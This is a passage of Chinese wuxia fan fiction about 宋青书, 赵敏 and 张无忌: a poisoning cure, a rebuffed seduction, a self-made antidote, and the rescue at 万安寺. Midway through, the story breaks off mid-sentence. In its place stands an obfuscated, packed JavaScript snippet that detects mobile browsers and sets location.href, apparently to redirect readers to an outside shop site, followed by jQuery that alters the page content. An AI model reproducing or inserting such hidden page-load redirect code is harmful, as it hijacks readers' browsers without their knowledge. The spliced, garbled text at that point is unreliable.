宋青书站在门口,没有进去。晨光从门外照进来,将他的影子投在青石地上,拉得很长。 赵敏看着他,忽然笑了:“宋少侠似乎总是一点都不怕。” “怕有用么?”宋青书反问。 “没用。”赵敏摇头,“但大多数人还是会怕。尤其是……身处敌营,生死未卜之时。” 宋青书没有接话,只是平静地看着她。 赵敏站起身,走到他面前。她今日换了身浅青色的衣裙,少了昨日的英气,多了几分女子的柔美。 可那双眼睛依旧锐利,能看透人心。 “我查了你。”她忽然道,“十二年前自废武功,从此沉溺医道。十年间救治百姓无数,得‘青书医者’之名。光明顶上以奇术救静虚,续断臂,缝合张无忌的内脏——每一件,都堪称神迹。” 她顿了顿,眼神更深:“可我不明白。一个曾经的天之骄子,为何能如此坦然接受武功尽废的事实?又为何……能在这十年间,钻研出如此惊人的医术?” 宋青书沉默片刻,才缓缓道:“那郡主可知,医道与剑道,其实相通?” “哦?愿闻其详。” “剑道讲究精准——剑尖所指,分毫不差。”宋青书抬起手,做了个刺剑的动作,“医道也讲究精准——银针所入,深浅得宜。剑道讲究时机——出剑快慢,关乎生死。医道也讲究时机——下药早晚,决定存亡。” 他放下手,声音平静:“不过是将对剑的执着,转到了对医的执着罢了。” 赵敏盯着他看了许久,忽然问:“那你……可曾后悔?” “后悔什么?” “后悔武功尽废?后悔不能像从前那样,持剑行走江湖,快意恩仇?” 宋青书唇角弯起一丝极淡的弧度:“从前持剑时,眼中只有胜负,只有名利,只有……不该执着的人。而今提针时,眼中是伤病,是痛苦,是需要帮助的人。郡主觉得,哪个更好?” 这话问得赵敏一怔。她从未想过这个问题——在她看来,武功是立身之本,是可以安身立命的东西。失去武功,便是失去了一切。 所以她才会费心学习六大派的武功,她没有内力,指望能以博杂取胜。 这个世界是以武为尊的。 可眼前这个人……似乎并不这么想。 “宋少侠果非常人。”良久,她轻声道,“请坐。” 宋青书依言在桌旁坐下。赵敏给他倒了杯茶——是上好的龙井,茶香清冽。 “我今日请你来,是想请教一件事。”赵敏也坐下,神色认真起来,“我手下有人中了奇毒,太医束手无策。听闻宋少侠医术通神,想请你看看。” 宋青书端起茶杯,却没有喝:“郡主手下能人众多,何须在下出手?” 这郡主看来是想试探他的医术了。 “能人是多,可神医难寻。”赵敏坦然道,“况且……我想看看,宋少侠的医术,是否真如传闻中那般神奇。” 宋青书放下茶杯:“人在何处?” “就在隔壁。”赵敏起身,“请随我来。” 两人来到偏殿旁的厢房。推开门,一股浓重的药味扑面而来。床上躺着个中年汉子,面色青黑,嘴唇发紫,呼吸微弱。床边站着个太医打扮的老者,正摇头叹息。 “王太医,如何?”赵敏问。 “回郡主,此毒古怪,老朽……无能为力。”老者躬身,满脸惭愧。 赵敏摆摆手,让他退下,然后看向宋青书。 宋青书走到床边,手指搭上那汉子的腕脉。片刻后,他眉头微蹙:“七虫七花膏?” 赵敏眼中一亮:“宋少侠果然识得此毒!” “略知一二。”宋青书收回手,“此毒以七种毒虫、七种毒花炼制,毒性复杂,因人而异。解毒需先辨明所用的是哪七虫、哪七花,再对症下药——错一味,便是死。” “可能解?”赵敏问。 宋青书没有立刻回答。他仔细检查了那汉子的眼睑、舌苔,又闻了闻他呼出的气息,才缓缓道:“能解,但需要时间。至少三日。” “三日……”赵敏沉吟,“好,我便给你三日。需要什么药材,尽管开口。” “不必。”宋青书摇头,“我药箱中有备用的解毒药材,应该够用。只是……” “只是什么?” “解毒过程痛苦异常,需有人在一旁照应,随时准备施针镇痛。”宋青书看向赵敏,“郡主可愿派人协助?” 赵敏笑了:“我亲自协助,如何?” 宋青书微微一怔,随即点头:“那便……有劳郡主了。” 接下来的三日,宋青书便住在了这处偏院。赵敏果然说到做到,亲自在一旁协助——递药材,熬药汤,甚至在他施针时帮忙按住病人。 两人配合竟出奇地默契。 宋青书话不多,但每个指令都清晰明确;赵敏聪颖机敏,一点即通,甚至能提前预判他需要什么。 说是默契,只不过是互相演戏罢了。 第三日黄昏,那汉子吐出一口黑血,面色渐渐恢复红润。呼吸平稳下来,沉沉睡去。 “成了。”宋青书长舒一口气,整个人晃了晃——这三日他几乎没合眼,念力又耗损不少。 赵敏扶住他:“宋少侠辛苦了。” 她的手很稳,力道适中。宋青书靠着她站了片刻,才缓缓直起身:“郡主,在下该回去了。” 赵敏看着他苍白的脸,眼中闪过一丝复杂情绪:“我让人送你。” “不必。”宋青书摇头,“路我认得。” 他走到门口,又停下脚步,回头看向赵敏:“郡主,有句话,不知当讲不当讲。” “请说。” “郡主若真想得到人心,”宋青书声音很轻,“还须……以诚相待。” 刚一回来,几道带着急切与担忧的目光便立刻锁定了他。 “青书!”莫声谷第一个抢上前,上下打量,“你……你可算回来了!这三日,你被那郡主叫去了何处?可有受伤?”他素来心直口快,这三日坐卧不宁,怕这个师侄出意外。 俞莲舟虽未立刻开口,但紧锁的眉头在看到宋青书安然无恙时,明显松了一瞬,也沉声道:“这几天遇了何事?” 张松溪则站在稍后处,目光最为锐利,他仔细审视着宋青书的神色、衣着,甚至气息。后,才缓缓踱步上前。 屋内油灯跳动,将张松溪严肃的面容映得半明半暗。 宋青书将这几日和赵敏做了什么向师叔们和盘托出。 “青书,你方才所言,四叔信你大体不虚。但……”他目光如电,闻到宋青书身上残留的极淡香氛,清冽中带一丝辛气。 见宋青书沉默,张松溪心中忧虑更甚。 他深吸一口气,语气颇为严肃:“青书!你需谨记,赵敏此女,绝非等闲!她容颜绝世不假,智计百出也是真,但正因如此,才更为可怕!” “我与她碰过一遭,见她行事只问目的,不择手段。我们被她抓来此处,却还不知她真正的目的是什么,青书,你可千万不要被她迷惑了去!” 他上前半步,声音压得更低:“她若主动接近你,示好于你,必有所图!或许是利用你武当弟子的身份,探听消息;又或许……是更险恶的算计。她最擅长的,便是窥人心弱,投其所好!你尚年少,心绪易有波动,万万不可因她表象所惑,失了分寸,忘了大义!” 张松溪的警告,句句发自肺腑。 宋青书抬起头,目光投向漆黑无星的夜空:“四叔教诲,青书铭记于心。请四叔放心,我……绝不会被她迷惑。” 且不说,她是张无忌的女人……缘分早定。更兼之,她是敌对方的郡主。 至于你情我爱之事……我经此种种,早已不敢肖想这等事情,亦……再也不会想。 情爱之事可致人生死。 “不会被迷惑吗?” 张松溪低声自语,目光投向无尽黑暗的远方,那里是元大都的方向,也是赵敏所在的方向。 那妖女的手段,真的只是“迷惑”那么简单吗? 而这孩子看似彻底封闭的心,在那妖女莫测的手段与洞悉人心的眼光前,是否真的……就固若金汤? 无人回答。只有夜风穿过院落,发出萧瑟的呜咽。 宋青书和衣躺下,睁着眼,在黑暗中,仿佛又看到了赵敏那双含着讥诮、仿佛能看透一切的眼眸。 不动心,则无软肋。不肖想,便不会错。 这一世,他只需记得债要还,孽需偿,路要走。 其余一切,皆是虚妄,皆是……不敢也不能触及的深渊。 火把的光在赵敏娇艳的脸上跳跃,映得她那双灵动的眸子更深不可测。 她看着被阿大用刀抵住脖颈的宋青书,又看了看对面如寒潭静水般伫立的周芷若,唇角勾起一抹玩味的弧度。 赵敏此人当真是无事可干,无聊至极。 宋青书无奈地看着泛着寒光的刀架在自己的脖子上。 用周芷若胁迫宋青书,那宋青书虽紧张,却并未露出什么真正的破绽。后来又试探了他的医术,发现旁人解不了的毒他能解。 赵敏心思电转,瞬间便调换了矛头。 攻其必救之处,才是上策。 周芷若外表清冷,但对这个宋师兄,当真能全然无情么? 一时心血来潮,说干就干。 “周姑娘,”赵敏声音中带着一丝慵懒的试探,“你这般矜持,不肯显露峨眉绝学,真叫人为难。不如这样,你使一招‘峨眉金 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“哦?无关之人?”赵敏轻轻笑了,那笑声如银铃,却带着刺骨的寒意。 她缓步走近周芷若,目光如蛛丝般细细缠绕在她脸上,似乎要从那完美的平静中找出最细微的裂纹。 “周姑娘这话可说得太无情了。宋少侠刚才可是对你一片赤诚,紧张得很呢。你这般冷言冷语,岂不叫人寒心?” 她顿了顿,凑得更近些,用只有两人能听到的细微气声道:“还是说……你这份‘冷静’,本身就是最大的破绽?你越是不看他,不敢看他,心里……怕是越在意吧?” 周芷若心中猛地一凛,仿佛被最尖锐的针扎了一下。 她讨厌赵敏,不仅仅是讨厌她的身份和手段,更讨厌她这种仿佛能看透人心的、带着嘲弄的锐利。 赵敏那似笑非笑的神情,像是在欣赏一幅绷紧到极致的画,只等着它何时碎裂。 周芷若强压住翻腾的厌恶与一丝被看穿的心慌,侧身避开赵敏过于迫近的气息,冷冷道:“妖女诡计多端,心思龌龊,自然看谁都觉得别有隐情。你要杀便杀,要剐便剐,峨眉弟子,不受威胁。” 话虽如此,她终究没有再看宋青书一眼。不是不想,而是不能。那一眼,或许就会泄露一点伪装。 赵敏盯着她看了片刻,眼中的兴味更浓。她后退一步,摆了摆手。阿大的刀应声撤回。 “罢了罢了,”赵敏语气轻松,仿佛刚才的胁迫只是一场游戏。 “周姑娘心如铁石,令人佩服。宋少侠,看来你这一片痴心,怕是付诸流水了哦?” 宋青书获释,“还请郡主不要取笑。” 赵敏银铃般的笑声在夜风中飘散。 她红影翩跹,又瞥了周芷若僵直的背影一眼。 那一眼,意味深长。 赵敏见这二人都不上她的套,突然又觉得有点儿没意思。 其实她的手段还多着呢! 比如说叫个人来引诱宋青书。 她不是自诩无情无欲吗?那她就偏要看到他染上情欲的样子。她赵敏要做到的事情就没有做不到的,可是面对宋青书时,面对他那双清凌凌的眼睛时,她突然就感觉自己的手段是下流的,是无力的,突然就泄了气。 且他还是她心上人的师兄,还是不要玩坏了的好,当然宋青书也不一定能够被玩坏就是了。 赵敏还是有所顾忌,没有把事情做得太绝。 “无趣至极,无趣啊无趣,算了!” 于是她吩咐武士把刀架在周芷若的脖子上。 还是好好学几招吧。 夜色如墨,韦一笑的蝠影功快如鬼魅,悄无声息地摸进了关押宋青书的后院。两名看守的蒙古兵只觉颈后一麻,便软倒在地。 赵敏威胁说要划花周芷若的脸。 韦一笑脚底抹泥,威吓赵敏。 空盒子打中了架在周芷若脖子上的刀,裂开成两半。 几乎同时,一道青影掠入,正是张无忌。 赵敏心花怒放,你一直把盒子带在身上。 “青书师兄!” 宋青书先是一惊,看清来人后,只点了点头。 张无忌和韦一笑身法展开,如夜风般迅疾,借着地形掩护,几个起落便夹带着宋青书脱离了险地,来到城外一处明教的秘密据点。 屋内灯火通明,早已等候在此的杨逍、殷天正、说不得等人见他们安然返回,都松了口气。 周颠最是性急,抢上前来,对着宋青书便是一揖:“宋少侠,前次武当山赠药之情,我周颠还没好好谢过!那丹药可是救了咱好几个弟兄的命!”五散人中的其他几位也纷纷拱手致谢。 彭和尚念了句佛号,温和道:“宋少侠高义,明教上下铭记于心。” 宋青书略显局促,忙侧身避让,拱手还礼:“各位前辈言重了,区区丹药,无足挂齿。彼时不过是恰逢其会,家父与师叔们也常教导,江湖同道,理应相助。” 他语气诚恳,姿态放得极低,全无武当嫡传、三代首徒的骄矜。这番应对,让原本因他出身名门正派而略存隔阂的几位明教高手,心中又添了几分好感。 50. 百尺高塔已翩然3 寂静无风的夜里。 宋青书苦海无边的噩梦里。 周芷若冰冷嫌恶的眼神与此刻赵敏妩媚含情的眼波诡异地重叠,都在嘲笑着他“情爱”二字上的愚蠢与不堪。 还有……张无忌。那个仁厚坦荡的明教教主,与他有着复杂渊源的“师弟”。 赵敏看张无忌的眼神,与此刻看自己的,截然不同,却更显出此刻这一幕的荒唐与罪恶。 恶心! 这强烈的自我厌弃感瞬间压倒了一切。 他的脸色从初时的惊愕涨红,急剧褪变成骇人的惨白,额头甚至沁出细密的冷汗。他像是看到了世间最恐怖、最污秽的景象,猛地向后踉跄了一大步,脊背重重撞在冰凉的门板上,发出“砰”的一声闷响。仿佛唯有这坚实的阻碍和冰冷的触感,才能将他从即将溺毙的暖昧漩涡中拉回一丝清明。 “郡主……”他的声音干涩得如同沙石摩擦,每一个字都像是从牙缝里挤出来,带着压抑不住的颤抖和……一丝尖锐的憎恶,“还请、你不要戏弄、我!” “戏弄?” 赵敏独坐窗前,指尖无意识地摩挲着那夜曾拈过的白玉酒杯,唇边泛起一丝冷峭的弧度。 “我偏偏就要戏弄你,谁叫你这样油盐不进。” “环环,还不快去伺候宋少侠,要是你破了他的色戒,重重有赏!” “禁欲?清冷?呵……” 她低声自语,眼眸深处燃起一簇不服输的火焰,混杂着强烈的好奇与挑战欲。“宋青书,你当真把自己修炼成了一尊无情无欲、泥塑木雕的佛子了么?本郡主偏不信!” 她承认,起初的接近与试探,更多是出于对武当弟子、对张无忌身边人的习惯性算计与情报搜集。 但如今,宋青书本人,他那古怪的反应,他内心那道看似坚不可摧却仿佛由痛苦浇筑而成的壁垒,成了更吸引她的谜题。 她要撕开他那层寂灭的伪装,看看底下到底是真正的圣贤磐石,还是……另一番更不堪、更有趣的景象。 她偏要叫人引诱他。 他猛地别开脸,不再看榻上那活色生香的美人图,目光死死钉在墙角昏暗的阴影里,仿佛那里才是净土。 垂在身侧的手紧紧握成了拳,指甲深深嵌进掌心,尖锐的疼痛让他混乱的头脑获得了一丝残酷的清醒。 他甚至能感到舌尖被自己无意识地咬破,浓郁的血腥味在口腔里弥漫开来,盖过了那甜腻的暖香。 赵敏将他的反应尽收眼底。 那剧烈的抗拒,那惨白的脸色,那仿佛受到莫大羞辱和惊吓般的眼神,甚至那一闪而过的憎恶……这一切都远超她的预料。 “请姑娘自重!” 没有羞涩的躲闪,没有犹豫的挣扎,更没有她见惯的男子那种欲拒还迎的窃喜。有的只是一种近乎崩溃边缘的、带着自毁倾向的防御。 她眼中的偏执稍稍褪去,换上了一丝真实的讶异和更深沉的玩味。她缓缓坐直了身体,纱袍随之滑动。 “自重?”她轻轻重复,忽然低低笑了起来,笑声里却没什么温度,“宋少侠,在这里不需要什么‘自重’?不过是长夜孤寂,两个人喝杯酒,说几句真心话罢了。少侠何必……如临大敌?” 她说着,那环环竟赤着那双雪白的足,轻轻踩在柔软的地毯上,一步步向他走来。甜香随着她的靠近愈发浓郁,那抹水红的身影在烛光下摇曳生姿,带着不容拒绝的压迫感。 宋青书浑身的肌肉都绷紧了,如同拉到极致的弓弦。“站住。”他声音不高,却带着斩金截铁的力道。他不再躲避她的视线,但那目光却像是穿透了她的皮囊,看到了她背后所有的算计与危险。“赵姑娘,此等游戏,请恕宋某无法奉陪。告辞!” 最后两个字落下,他不再有丝毫犹豫,猛地转身,近乎粗暴地拉开门栓,几乎是撞了出去。踉跄的脚步在门外冰冷的石阶上踩出凌乱的声响,迅速消失在深沉的夜色里,仿佛身后有噬人的洪水猛兽。 无趣么?不,某种程度更令人烦躁了。 只见赵敏的脸上又出现了那种索然无味的表情。 “呕……呕……” 一直沉默立于灯影边缘,做头陀打扮的范遥,缓缓摘下了脸上的面具。那张原本英俊、此刻却带着几道狰狞旧疤的面容显露出来,他望着张无忌,喉头滚动,声音艰涩:“属下……范遥,参见教主。” 屋内霎时一静,随即响起几声低呼。杨逍抢步上前,紧紧抓住范遥双臂,颤声道:“范兄弟!这些年……苦了你了!” 张无忌早已从赵敏处知晓范遥身份,此刻亲眼见他显露真容,想起他自毁容貌、潜伏敌营十余载的忠义与艰辛,心中也是激荡难平,忙上前扶住:“范右使!快快请起!你为明教忍辱负重,受尽磨难,该受我一拜才是!”说着便要躬身。 范遥如何肯受,急忙拦住,主从二人执手相望,千言万语,尽在不言中。殷天正、韦一笑等人也是感慨万千,围拢过来,问询别情。 宋青书在一旁静静看着这劫后重逢、悲喜交集的场面,心中亦触动不已。待他们情绪稍平,他上前几步,对范遥郑重一礼:“范右使。” 范遥转头看他,眼神已恢复清明冷静。 宋青书道:“晚辈有一事相托。范右使既已回归,想必有办法联络上我爹和武当诸师叔。烦请转告他们,青书已蒙无忌……张教主与韦蝠王救出,安然无恙,请他们切勿再为我涉险担忧。”他提到张无忌时,微微顿了一下。 范遥点头,毫不迟疑:“宋少侠放心,此事包在范某身上。定将消息带到。” 宋青书似是了却一桩心事,神色松了些。他顿了顿,从怀中取出一个不起眼的青瓷小瓶,拨开瓶塞,一股极淡的辛涩药味飘散出来。 “还有一事,”他将小瓶放在桌上,声音平稳,“这两日我并未虚度。我已细究过那‘十香软筋散’的药性,心中已有推演。这两日暗中尝试,侥幸配出了解药。” 他目光扫过屋内众人,最后落在张无忌脸上:“我已用自己的身体试过,我先前中了软筋散,并未刻意去解毒,昨日我服此药,发现约莫一炷香后,内力便可逐渐恢复。虽不敢说能尽解其毒,但应对寻常剂量,应当有效。” 此言一出,满堂皆惊! 宋青书神医之名名副其实。 他们教主也是医术高明,但是只能配制出维持一个小时的毒药而已。 十香软筋散是汝阳王府控制武林高手、屡试不爽的利器,不知多少英雄好汉栽在此药之下。 明教众人也深受其苦,苦无良解。没想到,宋青书只用短短两日,就将这难题攻克了! 杨逍拿起药瓶,仔细嗅了嗅,又倒出几粒药丸在掌心查看,眼中精光闪烁:“药气凛冽,配伍精奇……宋少侠果然家学渊源,医术通神!此药若真有效,于我明教,于天下受困于此毒的武林同道,不啻为莫大福音!” 张无忌也是又惊又喜,他深知配药解毒之难,尤其在这种环境下。 他看着宋青书略显苍白的面容,心中涌起由衷的敬佩:“青书师兄,你此番不仅救了自己,更是帮了我们所有人一个大忙!” 宋青书微微摇头,语气依然平淡:“这两日无事,权当试药罢了。能有用便好。”他避开了张无忌热切的目光,转向窗外沉沉的夜色,不知在想些什么。 “就是不知道数量上是否够,无忌,你可能还得另想办法。”“或者我再配制一些。”宋青书望着虚空,这两句话轻得像一阵风。 “无碍的,青书师兄,况且再去配制也来不及,我们已经打草惊蛇,理当速战速决。”张无忌意气满满地说。 “好,那就如此吧。” 烛火噼啪一声轻响,映得宋青书侧脸轮廓分明。 这位武当少侠,脱险后不忘传讯安亲人之心。 明教群豪看着他沉静的背影,均想要是这位武当少侠也像他们教主一样加入明教,那是想都不敢想的事情。 贪心不足蛇吞象。 明教定会比往日荣光更甚。 张无忌的目光越过烛火,落在宋青书身上。 青书哥哥瘦了。这是张无忌第一个清晰的念头。原本合身的常服,此刻穿在身上似乎略显空荡,晨风吹动衣袂,勾勒出有些单薄的肩线。 更让他心头一紧的,是宋青书脸上那层深重的郁色。那不是疲惫,也不是普通的忧虑,而是一种仿佛从骨子里渗出来的、被什么东西日夜啃噬着的沉寂与黯淡。 眼下的阴影浓得化不开,即便在收拳静立、面向初升旭日时,那暖金色的光线似乎也无法照亮他眼底的寒意。 是不是赵敏做了些什么事? 张无忌的心像被什么东西轻轻揪了一下。 他想起了小时候在武当山,青书哥哥带着他认草药、练基础剑招时的温和耐心。 青书哥哥的话少,人也沉默,像一座不断往深处沉默的孤山。 是因为师叔伯们还在元兵手中?还是因为……别的什么? 张无忌猜不透全部,但他知道,眼前的青书哥哥,很不开心,很不畅快,仿佛背负着比他张无忌更沉重、更难以言说的东西。 他是张无忌,是明教教主,武功盖世,肩负重任。 可他心里,永远留着一块最柔软的地方,给那些他在乎的、珍惜的人。义父谢逊,外公殷天正,芷若妹妹……还有青书哥哥。 他看不得他们在受苦,看不得他们眼中失去光彩。 “一定要快点救出六大派的前辈们,救出宋师伯、俞师伯他们!” 这个念头在张无忌心中变得前所未有的强烈和急切。 原本,营救计划就在紧锣密鼓地筹备,明教上下,五行旗、天地风雷四门,乃至天鹰教旧部,都在暗中调动、搜集情报、拟定路线。 但此刻,张无忌觉得,这一切还不够快。 他不仅仅是为了江湖大义,不仅仅是为了对抗元廷。他心底有一个很单纯、甚至有些孩子气的愿望:他想看到青书哥哥眉头舒展,想看到他眼中重新亮起武当山上那般清朗温润的光,哪怕只是一瞬间也好。 如果救出师叔伯们,是否能让他稍微轻松一点?是否能驱散一些他脸上的郁色? 这个念头让张无忌感到一股澎湃的动力。他深吸一口气,拿着馒头走了过去。 “青书师兄,”他唤道,声音放得比平时更温和些,将馒头递上,“先用膳吧。杨左使他们已在外厅商议,今日便要定下最后的接应路线和动手时机。” 宋青书闻声转身,看到张无忌,眼神微微动了一下,那层郁色似乎被习惯性地收敛了几分,但深处的疲惫与沉寂依旧。“有劳张教主。”他接过粥碗,指尖冰凉。 “青书师兄何以对我如此见外?从相认那天起师兄就一直叫我张教主,我心里真是不胜惶惑,我一直记着在武当山上,师兄耐心地用热毛巾给我擦拭身体,我寒毒发作师兄一次次地照顾我,可以就叫我无忌吗?我不想从师兄的口中听到张教主这三个字。”张无忌一股脑地把心里的想法吐露出来。 张无忌假装没注意到他指尖的凉意,他又顺着刚才的话头,语气坚定而充满信心地说:“师兄放心,我们已有七八分把握。汝阳王府主要兵力被别处牵制,看守万安寺的虽仍是精锐,但并非无懈可击。韦蝠王探明了换岗间隙,说不得大师找到了塔内一处可能的薄弱环节。” 他说得详细,语气昂扬,不仅是告知计划,更想传递一种笃定的、充满希望的情绪。他想告诉宋青书:别担心,事情正在好转,我们很快就能救出大家。 宋青书静静听着,他听出了张无忌话语中那份超出必要的急切,也感受到了那份想要安慰他的、笨拙却真诚的善意。 叫他无忌吗?他觉得自己没资格,或者说未到胜利的时候。 可心中某个角落,似乎被这笨拙的暖意轻轻触了一下,但随即被更厚重的冰层覆盖。 他感激张无忌,无论是曾经的救命之恩,还是此刻的努力与关怀。 但他深知,自己心中的郁结,远非救出师叔们就能解开。那源自前世的罪,今生的债,自我的禁锢,以及……近来那场无休止的、令人窒息的心理拉锯。这些,张无忌不会懂,他也不能说。 然而,看着张无忌那双清澈见底、满是诚恳与期盼的眼睛,宋青书终究无法完全冷硬以对。他轻轻“嗯”了一声,算是回应,然后低下头,吃了一口馒头。温热的馒头滑入喉咙,带来些许暖意,却难以抵达冰冷的四肢百骸。 “无忌费心了。”他低声说,声音依旧平淡,“若能早日救出各位师长,自是再好不过。一切……听凭安排。” 张无忌看着他低头的样子,那浓密的睫毛垂下来,遮住了眼底所有情绪,只留下苍白的侧脸和紧抿的唇线。 他知道,自己并没有真正驱散那层郁色,但至少,青书哥哥没有拒绝这份关怀,也没有完全沉浸在那片孤寂里。 这就够了。张无忌想,他会用最快的速度,最稳妥的计划,把宋师伯他们平安带出来。到时候,青书哥哥总会开心一点的吧?哪怕只是少一桩心事也好。 “那师兄慢用,我先去前厅。”张无忌压下心头那点酸涩的怜惜,努力让自己的笑容显得更明朗些,“等有了确切消息,立刻来告诉你。” 宋青书点了点头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109869|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有抬头。 张无忌转身离开,步伐比来时更加坚定有力。晨光落在他年轻的背影上,仿佛镀上了一层不容置疑的决心。为了江湖公义,为了明教责任,也为了……能让他在意的人,脸上少一分阴霾。 松树下,宋青书慢慢吃完馒头,温热的感觉在胃里短暂停留。他抬眼,望向张无忌消失的方向,又看了看手中,良久,极轻地、几乎无声地叹了口气。 那叹息也太轻,立刻消散在清晨带着松针清香的微风里。无人听见,就像他心中那片无人能真正触及、也无人能代为驱散的、越来越沉的郁色荒原。 只是,在那荒原的边缘,似乎因为某人笨拙而执着的努力,裂开了一丝极其细微的、连他自己都未必察觉的缝隙,透进了一点点微光。 万安寺之夜,火光如一头挣脱牢笼的暴烈巨兽,疯狂舔舐着漆黑的塔身,将半边天宇染成惊心动魄的赤红。木料燃烧的爆裂声、砖石崩落的轰鸣、元兵混乱的呼喝与六大派高手脱困时的长啸交织在一起,撕碎了京城的寂静。 高塔之巅,热浪灼人,浓烟滚滚。服下解药、内力已恢复七八成的各派高手们,此刻面临最后一道生死关隘——如何从这数十丈高的绝地安然落地? 张无忌早已飞身掠至塔下最近一处屋脊,九阳神功在体内丰盈流转,又将乾坤大挪移的心法提至巅峰,周身无形气劲鼓荡,衣袍猎猎作响。 他仰头厉喝:“塔上诸位前辈,请依次跳下,无忌在此接应!” 话音未落,已有人影当先跃下!正是武当俞莲舟。他身在空中,并未如寻常坠落般急剧加速,反而觉得胸腹之间一股温热醇和之气自然升腾,自丹田绵绵而起,遍行四肢百骸,竟似在周身经络外形成一层极淡却切切实实存在的“气垫”。 这气息不增浮力,却仿佛能与下坠之势产生某种微妙的“缓冲”,极大地化解了地心引力的凶猛拉扯。他只觉耳畔风声呼啸,下坠之感固然清晰,却远非想象中的雷霆万钧,倒有几分借着风势滑翔的意味。 “好丹药!”俞莲舟心中暗赞一声宋青书,身形在半空已调整至最佳。 下方张无忌看得分明,见俞莲舟下坠速度比预估慢上两分,姿态从容,心中一定。他双臂一圈一引,乾坤大挪移的柔劲沛然发出,并非硬碰硬的“托举”,而是一种巧妙的“承接”与“导引”,如同引导一道沉重的瀑布改道,将其下坠的冲力层层化解、斜向卸开。 两股力量一上一下,配合得恰到好处。俞莲舟只觉一股柔和浑厚的力量托住腰腿,下坠之势再缓,顺着那力道轻巧一个翻身,已然稳稳落在张无忌身旁的瓦面之上,足下只踩碎了两片屋瓦。 “无忌,多谢你!”俞莲舟气息微促,但脚下扎实,显然无碍。 紧接着,崆峒五老中的宗维侠、华山派掌门鲜于通等人也相继跃下。他们服用的亦是宋青书精心改良、试验有效的丹药,体内同样有那股奇异的“升腾之气”护持。 虽因各人内力根基、伤势轻重不同,感受略有差异,但总体下坠之势均大为缓和。张无忌接连施展神功,或接或引,或拨或送,虽额角见汗,却应付得尚有余裕。 救下之人落地后略调气息,便觉内力流转无碍,那丹药不仅解毒,更有固本培元之效,对尽快恢复战力大有裨益。 然而,并非所有人都如此幸运。 “啊——!”一声略显惊惶的短促呼声自塔顶传来,又一道身影急坠而下!乃是昆仑派的一位成名高手。他服用的,却是范遥前日冒险从玄冥二老处骗来、尚未经宋青书亲手调整校验的“标准版”十香软筋散解药。此药虽能解毒,却无那股玄妙的“升腾之气”辅助。 只见此人下落之势,与先前诸人截然不同!身形如断线风筝,又似千斤重锤,以惊人的速度撕裂空气,直坠而下!衣袍被下坠的劲风扯得笔直,发出凄厉的呜咽。那威势,仿佛不是血肉之躯,而是一块实实在在的巨石! 张无忌瞳孔骤缩!他看得分明,此人下坠之速、携带的冲力,比之前几人加起来还要刚猛暴烈!电光石火之间,他再无保留,暴喝一声,周身九阳真气疯狂涌动,乾坤大挪移第七层心法全力施展!双臂肌肉贲张,双掌向上虚按,一股磅礴如海潮、柔韧如巨网的罡气瞬间勃发,迎向那雷霆般坠落的身影! “轰!” 一声沉闷如击败革的巨响! 两股巨力悍然相撞!张无忌脚下屋脊的瓦片“咔嚓嚓”连片碎裂,木椽发出不堪重负的呻吟,他本人更是浑身剧震,喉头一甜,一股腥气涌上,又被他强行压下。那昆仑高手下坠之势终于被遏止,但张无忌化解其冲力所耗的内劲,远超之前数人之和!他双臂发麻,气血翻腾,接连倒退三步,才勉强稳住身形,将那人斜斜引落在一旁稍远处稍缓的坡顶上。 那人落地时仍是“蹬蹬蹬”连退七八步,脸色煞白,胸腹间气血紊乱,好一阵才缓过气来,向张无忌投去感激又后怕的一瞥。 塔上塔下,明眼人都已看出端倪。火光映照中,宋青书立在稍远一处安全所在,正扶助一位刚被救下的同门。 他目光扫过那些落地后迅速调息、行动无碍的服丹者,又看向那位险些出事、此刻仍有些踉跄的昆仑高手,薄唇抿得更紧。自己亲手配制的丹药与范遥弄来的原版解药,效果高下立判。 范遥此刻也正在塔下另一侧协助接应,见此情形,面具下的眉头紧锁,心中对宋青书的评价不由又高几分,更多了一丝歉然与庆幸——幸好大部分丹药出自宋青书之手。 张无忌无暇细思,救援刻不容缓。他深吸一口气,压下翻腾的气血,目光更加锐利地扫过塔顶剩余之人,脑中飞速判断:哪位服的是宋青书的药,哪位可能用的是范遥从玄冥二老手上骗来的。 接下来的每一次接应,他都必须提起十二分精神,根据判断调整用力的大小与方式。 万安寺的火光愈烈,映照着这场与时间赛跑、与死神角力的空中接力。每一次跃下的人影,都牵动着下方所有人的心。 而宋青书那看似不起眼的丹药中蕴含的“升腾之气”,无形中减轻了张无忌莫大的压力。 夜风卷着火场的灰烬与灼热的气息盘旋而上,塔影在烈焰中扭曲晃动。这场惊心动魄的大救援,因两种解药的微妙差异,而显得更加波澜起伏,扣人心弦。 万安寺的冲天火光渐渐被抛在身后,如同一个猩红而混乱的梦魇。六大派被囚高手,连同张无忌、明教群豪及天鹰教部分精锐,如同一道挣脱牢笼的激流,冲破元兵最后零散的围堵,没入京城外广袤而黑暗的荒野。 直至确认追兵已远,众人才在一片隐蔽的丘陵林地间暂歇。 51. 百尺高塔已翩然4 天色渐明。 人人带伤,个个疲惫,但劫后余生的激荡与内力渐复的踏实感,仍支撑着众人。 清点人数,虽有折损,但核心主力大多保全,已是不幸中的万幸。 张松溪顾不得调匀气息,便与几位德高望重的掌门、以及明教杨逍、殷天正等人聚在一处。火把光晕摇曳,映照着一张张凝重而急切的面孔。 “诸位,”张松溪声音沙哑却清晰,“此地距京城太近,元廷反应过来,必定大军搜捕,四下张网。我等此刻内力未复,人人带伤,绝不可再入险地,亦不宜分散。”他目光扫过众人,语气斩钉截铁,“依我之见,当立刻往西北方向去!西北地广人稀,多有山岭险隘,易于隐蔽行藏。更可借道入川,或联络昆仑、崆峒友盟,先觅地恢复元气,再图后计!” 空闻大师低诵佛号,颔首道:“张四侠所言甚是。西北确是眼下最稳妥的去向。”昆仑、华山等派也纷纷附和,经此大劫,谁也不敢再托大,尽快远离元廷腹地、觅地休养是共识。 